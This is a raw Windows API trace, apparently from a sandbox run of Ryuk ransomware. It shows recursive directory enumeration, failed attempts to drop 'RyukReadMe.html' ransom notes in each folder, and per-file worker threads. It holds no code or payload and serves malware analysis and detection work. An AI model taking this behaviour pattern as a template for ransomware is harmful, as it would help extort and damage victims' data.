	[0157.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.758] GetLastError () returned 0x5
	[0157.758] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0157.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.758] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1
	[0157.759] SetLastError (dwErrCode=0x0) 
	[0157.759] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0157.759] GetLastError () returned 0x5
	[0157.759] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0157.759] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0157.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0157.760] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b0da70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69e61cd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0157.760] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07d0e00, ftCreationTime.dwHighDateTime=0x1ca2cea, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa07d0e00, ftLastWriteTime.dwHighDateTime=0x1ca2cea, nFileSizeHigh=0x0, nFileSizeLow=0x90540, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSLID.DLL", cAlternateFileName="")) returned 1
	[0157.760] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x782b2c00, ftCreationTime.dwHighDateTime=0x1bada3f, ftLastAccessTime.dwLowDateTime=0x98a53b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x782b2c00, ftLastWriteTime.dwHighDateTime=0x1bada3f, nFileSizeHigh=0x0, nFileSizeLow=0x6c67b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_EN.LEX", cAlternateFileName="")) returned 1
	[0157.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0157.775] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.776] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e2ea00, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x5b0da70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe5e2ea00, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x60983, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_ES.LEX", cAlternateFileName="")) returned 1
	[0157.776] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0157.780] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0157.780] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 1
	[0157.781] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0157.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2f0
	[0158.301] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.302] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3c9300, ftCreationTime.dwHighDateTime=0x1bdf5d3, ftLastAccessTime.dwLowDateTime=0x78ced70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf3c9300, ftLastWriteTime.dwHighDateTime=0x1bdf5d3, nFileSizeHigh=0x0, nFileSizeLow=0x482ef, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSWDS_FR.LEX", cAlternateFileName="")) returned 0
	[0158.302] FindClose (in: hFindFile=0x79bc0 | out: hFindFile=0x79bc0) returned 1
	[0158.377] SetLastError (dwErrCode=0x0) 
	[0158.377] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.377] GetLastError () returned 0x5
	[0158.377] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0158.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.378] FindNextFileW (in: hFindFile=0x79ce0, lpFindFileData=0x26ad6c0 | out: lpFindFileData=0x26ad6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1
	[0158.378] SetLastError (dwErrCode=0x0) 
	[0158.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.378] GetLastError () returned 0x5
	[0158.378] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ad608, lpOverlapped=0x0) returned 0
	[0158.378] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x79bc0
	[0158.383] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd5807780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.383] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0158.383] SetLastError (dwErrCode=0x0) 
	[0158.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.383] GetLastError () returned 0x5
	[0158.383] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0158.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.383] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0158.385] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.385] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc52bb100, ftCreationTime.dwHighDateTime=0x1ca6185, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xc52bb100, ftLastWriteTime.dwHighDateTime=0x1ca6185, nFileSizeHigh=0x0, nFileSizeLow=0x2cc7, dwReserved0=0x90, dwReserved1=0x0, cFileName="MCABOUT.HTM", cAlternateFileName="")) returned 1
	[0158.385] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0158.388] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0158.389] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x4380, dwReserved0=0x90, dwReserved1=0x0, cFileName="STINTL.DLL", cAlternateFileName="")) returned 1
	[0158.389] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x90, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 1
	[0158.389] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc65b900, ftCreationTime.dwHighDateTime=0x1caac22, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xdc65b900, ftLastWriteTime.dwHighDateTime=0x1caac22, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x90, dwReserved1=0x0, cFileName="STINTL.DLL.IDX_DLL", cAlternateFileName="STINTL~1.IDX")) returned 0
	[0158.389] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0158.389] SetLastError (dwErrCode=0x0) 
	[0158.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.390] GetLastError () returned 0x5
	[0158.390] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0158.390] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x1e380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x17f80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FDATE.DLL", cAlternateFileName="")) returned 1
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x35380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FPERSON.DLL", cAlternateFileName="")) returned 1
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f78700, ftCreationTime.dwHighDateTime=0x1cb7000, ftLastAccessTime.dwLowDateTime=0xc251c2e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x66f78700, ftLastWriteTime.dwHighDateTime=0x1cb7000, nFileSizeHigh=0x0, nFileSizeLow=0x2c380, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FPLACE.DLL", cAlternateFileName="")) returned 1
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79275700, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x79275700, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x26d80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FSTOCK.DLL", cAlternateFileName="")) returned 1
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xd5807780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x39580, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IETAG.DLL", cAlternateFileName="")) returned 1
	[0158.390] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b89b100, ftCreationTime.dwHighDateTime=0x1caac21, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b89b100, ftLastWriteTime.dwHighDateTime=0x1caac21, nFileSizeHigh=0x0, nFileSizeLow=0x18b80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IMCONTACT.DLL", cAlternateFileName="IMCONT~1.DLL")) returned 1
	[0158.391] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LISTS", cAlternateFileName="")) returned 1
	[0158.391] SetLastError (dwErrCode=0x0) 
	[0158.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.391] GetLastError () returned 0x5
	[0158.391] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0158.391] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.391] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0158.393] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f42f7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f42f7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.393] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x90, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0158.393] SetLastError (dwErrCode=0x0) 
	[0158.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0158.394] GetLastError () returned 0x5
	[0158.394] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26ac7a8, lpOverlapped=0x0) returned 0
	[0158.394] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0158.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\*.*", lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a340
	[0158.394] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef07e390, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.394] FindNextFileW (in: hFindFile=0x7a340, lpFindFileData=0x26ac130 | out: lpFindFileData=0x26ac130*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310fad00, ftCreationTime.dwHighDateTime=0x1c2d758, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x310fad00, ftLastWriteTime.dwHighDateTime=0x1c2d758, nFileSizeHigh=0x0, nFileSizeLow=0x22d6, dwReserved0=0x9c, dwReserved1=0x0, cFileName="DATES.XML", cAlternateFileName="")) returned 1
	[0158.395] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0158.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0158.398] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
